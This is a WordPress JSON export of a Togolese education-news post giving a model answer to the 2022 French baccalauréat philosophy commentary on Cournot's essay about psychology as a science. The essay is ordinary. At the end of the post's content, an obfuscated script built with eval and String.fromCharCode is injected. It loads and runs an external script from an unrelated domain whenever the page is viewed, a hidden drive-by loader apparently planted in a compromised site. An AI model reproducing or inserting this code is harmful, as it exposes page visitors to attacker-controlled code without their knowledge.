{"id":5140,"date":"2022-06-15T23:40:53","date_gmt":"2022-06-15T21:40:53","guid":{"rendered":"https:\/\/edunews.tg\/?p=5140"},"modified":"2022-06-15T23:40:53","modified_gmt":"2022-06-15T21:40:53","slug":"france-bac-2022-philosophie-voici-le-corrige-type-du-sujet-3-commentaire-du-texte-de-cournot","status":"publish","type":"post","link":"https:\/\/edunews.tg\/info\/2022\/06\/15\/france-bac-2022-philosophie-voici-le-corrige-type-du-sujet-3-commentaire-du-texte-de-cournot\/","title":{"rendered":"FRANCE : BAC 2022\/ philosophie : voici le corrig\u00e9 type du sujet 3, commentaire du texte de Cournot"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Evelyne Ol\u00e9on, professeure agr\u00e9g\u00e9e de philosophie, propose un corrig\u00e9 d\u2019un des trois sujets de l\u2019\u00e9preuve de philosophie du baccalaur\u00e9at g\u00e9n\u00e9ral 2022, le commentaire du texte de Cournot. Voici ci-dessous, le corrig\u00e9 type.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Explication du texte d\u2019Antoine-Augustin<\/strong>&nbsp;<strong>Cournot, extrai de son \u00ab&nbsp;Essai sur les fondements de nos connaissances et sur les caract\u00e8res de la critique philosophique&nbsp;\u00bb (1851).<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Enjeux du texte<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>La psychologie peut-elle \u00eatre une science\u00a0? Peut-elle pr\u00e9tendre \u00e0 la rigueur scientifique des sciences exp\u00e9rimentales, physique et biologie\u00a0?<\/li><li>Cournot, dans cet extrait des\u00a0<em>Fondements de nos connaissances\u00a0<\/em>qui date de 1851, affirme que la psychologie, qui prend pour objet d\u2019\u00e9tude l\u2019esprit, ne peut reposer sur des observations qui aient valeur scientifique et que le philosophe, quand il pr\u00e9tend tenir un discours sur la conscience, ne peut rivaliser avec la rigueur de l\u2019astronome, du physicien ou du biologiste.<\/li><li>L\u2019auteur commence par mettre en avant les crit\u00e8res n\u00e9cessaires pour qu\u2019une observation puisse \u00eatre qualifi\u00e9e de scientifique. Dans un deuxi\u00e8me temps, il montre pourquoi l\u2019observation psychologique ne r\u00e9pond pas \u00e0 de tels crit\u00e8res, ce qui invaliderait sa pr\u00e9tention \u00e0 \u00eatre une science.<\/li><li>On pourra donc se demander si une science de l\u2019esprit est possible\u00a0? Si celle-ci met en \u0153uvre une m\u00e9thode semblable aux sciences de la mati\u00e8re ou repose sur des fondements sp\u00e9cifiques\u00a0? La psychologie, telle qu\u2019elle s\u2019est constitu\u00e9e depuis le milieu du XIX<sup>e<\/sup>\u00a0si\u00e8cle, suit-elle la d\u00e9marche pr\u00e9sent\u00e9e ici par Cournot\u00a0? Les objections avanc\u00e9es par l\u2019auteur ne sont-elles pas discutables\u00a0?<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1\/ Les conditions requises pour qu\u2019une observation puisse \u00eatre qualifi\u00e9e de scientifique&nbsp;:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La rigueur exp\u00e9rimentale&nbsp;: toute observation n\u2019est pas scientifique. Pour qu\u2019elle le soit il faut&nbsp;:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Qu\u2019elle soit r\u00e9p\u00e9table.<\/li><li>Que les conditions de l\u2019observation soient strictement d\u00e9finies, qu\u2019aucune part ne soit laiss\u00e9e au hasard. C\u2019est ce qu\u2019on appelle aujourd\u2019hui le protocole exp\u00e9rimental.<\/li><li>Que l\u2019on puisse constater une identit\u00e9 des r\u00e9sultats. La science suppose identit\u00e9, r\u00e9p\u00e9tition et m\u00eamet\u00e9.<\/li><li>Cela n\u2019exclut pas un pourcentage d\u2019erreur li\u00e9 \u00e0 l\u2019id\u00e9e m\u00eame d\u2019exp\u00e9rience. Il y a dans toute exp\u00e9rience des&nbsp;<em>\u00ab&nbsp;boug\u00e9s&nbsp;\u00bb<\/em>, une marge d\u2019erreur car on travaille dans des conditions empiriques et non compl\u00e8tement abstraites.<\/li><li>Les r\u00e9sultats doivent \u00eatre ind\u00e9pendants de l\u2019observateur, de ses caract\u00e9ristiques, de sa constitution, dit l\u2019auteur. Ils ne peuvent \u00eatre empreints de la subjectivit\u00e9 de l\u2019observateur. Une observation scientifique n\u2019est objective que si la subjectivit\u00e9 de l\u2019observateur l\u2019influence le moins possible (il y a bien n\u00e9anmoins une marge d\u2019erreur \u2013 exception faite aussi de l\u2019incapacit\u00e9 dans laquelle peut se trouver parfois tel ou tel sujet \u00e0 observer correctement).<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Ces conditions rigoureuses sont les conditions de notre confiance en l\u2019exp\u00e9rimentation, de notre confiance quant au savoir objectif que la physique ou la biologie construit.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Or, selon l\u2019auteur, on ne rencontre pas de telles conditions dans la psychologie scientifique c\u2019est-\u00e0-dire dans la psychologie, cette \u00e9tude de l\u2019esprit qui pr\u00e9tendrait au milieu du XIX<sup>e\u00a0<\/sup>si\u00e8cle acqu\u00e9rir le statut de science.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2\/ La psychologie ne peut pr\u00e9tendre \u00e0 des observations scientifiques. Pourquoi ?La raison fondamentale avanc\u00e9e par l\u2019auteur, sur laquelle repose toute sa th\u00e8se, c\u2019est que dans la psychologie l\u2019observation est int\u00e9rieure. Pourquoi observation int\u00e9rieure ? <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Il n\u2019y a pas ici d\u2019ext\u00e9riorit\u00e9 entre l\u2019observateur et l\u2019observ\u00e9 : \u00ab Se confondent le r\u00f4le d\u2019observateur et celui de sujet d\u2019observation. \u00bb Sujet d\u2019\u00e9tude et objet d\u2019\u00e9tude ne font qu\u2019un. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Selon Cournot, l\u2019observation en psychologie ne peut \u00eatre qu\u2019une introspection, le psychologue se prend pour objet d\u2019\u00e9tude, examine les ph\u00e9nom\u00e8nes psychiques en regardant en lui-m\u00eame.D\u2019autre part les observations ne permettent de d\u00e9terminer aucune stabilit\u00e9.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> Le ph\u00e9nom\u00e8nes psychiques sont pris dans la dur\u00e9e, l\u2019esprit se modifie sans cesse, ils sont fugaces, en modification constante.Ils n\u2019offrent aucune identit\u00e9, unit\u00e9, universalit\u00e9 car les sujets sont divers, sp\u00e9cifiques, n\u2019offrant aucune uniformit\u00e9.La d\u00e9marche ici n\u2019est pas communicable, elle est d\u00e9pourvue du caract\u00e8re didactique de la science. L\u2019exp\u00e9rience introspective ne peut \u00eatre universalis\u00e9e.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> On remarque ici que Cournot ne parle pas du psychologue mais bien du philosophe, \u00e9crivant dans une \u00e9poque o\u00f9 les recherches psychologiques se confondaient avec les recherches philosophiques et avant que la psychologie ne devienne une discipline \u00e0 part enti\u00e8re.L\u2019auteur insiste sur le caract\u00e8re incomparable en mati\u00e8re de didactique et de communicabilit\u00e9 entre la d\u00e9marche subjective du philosophe et l\u2019effort de partage, de mise en commun, d\u2019enseignement de la d\u00e9marche du physicien ou du biologiste. Or, cette communicabilit\u00e9 est, selon Cournot, ce qui fonde notre confiance en la science, ce qui nous am\u00e8ne \u00e0 reconna\u00eetre la v\u00e9rit\u00e9 d\u2019une observation, son caract\u00e8re universalisable.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Conclusion et ouverture :Pour Cournot, en ce milieu de XIXe si\u00e8cle, la psychologie ne peut l\u00e9gitimement pr\u00e9tendre au statut de science parce que sa d\u00e9marche d\u2019observation n\u2019a, ni ne peut avoir, la rigueur d\u2019une observation scientifique.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Le pr\u00e9suppos\u00e9 de la th\u00e8se repose sur l\u2019id\u00e9e selon laquelle l\u2019observation en psychologie ne peut-\u00eatre qu\u2019une observation int\u00e9rieure, une introspection. Apr\u00e8s Cournot, la psychologie se constituera bien comme science mais en tournant le dos \u00e0 l\u2019introspection, en se servant de l\u2019outil math\u00e9matique par exemple, en construisant en laboratoire des observations qui gagneront en objectivit\u00e9 et en construisant une r\u00e9alit\u00e9 mod\u00e9lis\u00e9e : l\u2019artefact humain.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Source: Le Monde.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Informations r\u00e9unies par Pascal S.<\/p>\n<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script>","protected":false},"excerpt":{"rendered":"<p>Evelyne Ol\u00e9on, professeure agr\u00e9g\u00e9e de philosophie, propose un corrig\u00e9 d\u2019un des trois sujets de l\u2019\u00e9preuve de philosophie du baccalaur\u00e9at g\u00e9n\u00e9ral 2022, le commentaire du texte de Cournot. Voici ci-dessous, le corrig\u00e9 type. Explication du texte d\u2019Antoine-Augustin&nbsp;Cournot, extrai de son \u00ab&nbsp;Essai sur les fondements de nos connaissances et sur les caract\u00e8res de la critique philosophique&nbsp;\u00bb (1851). &hellip;<\/p>\n","protected":false},"author":1,"featured_media":5141,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36],"tags":[],"class_list":["post-5140","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-les-epreuves-inedites"],"_links":{"self":[{"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/posts\/5140","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/comments?post=5140"}],"version-history":[{"count":0,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/posts\/5140\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/media\/5141"}],"wp:attachment":[{"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/media?parent=5140"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/categories?post=5140"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/tags?post=5140"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}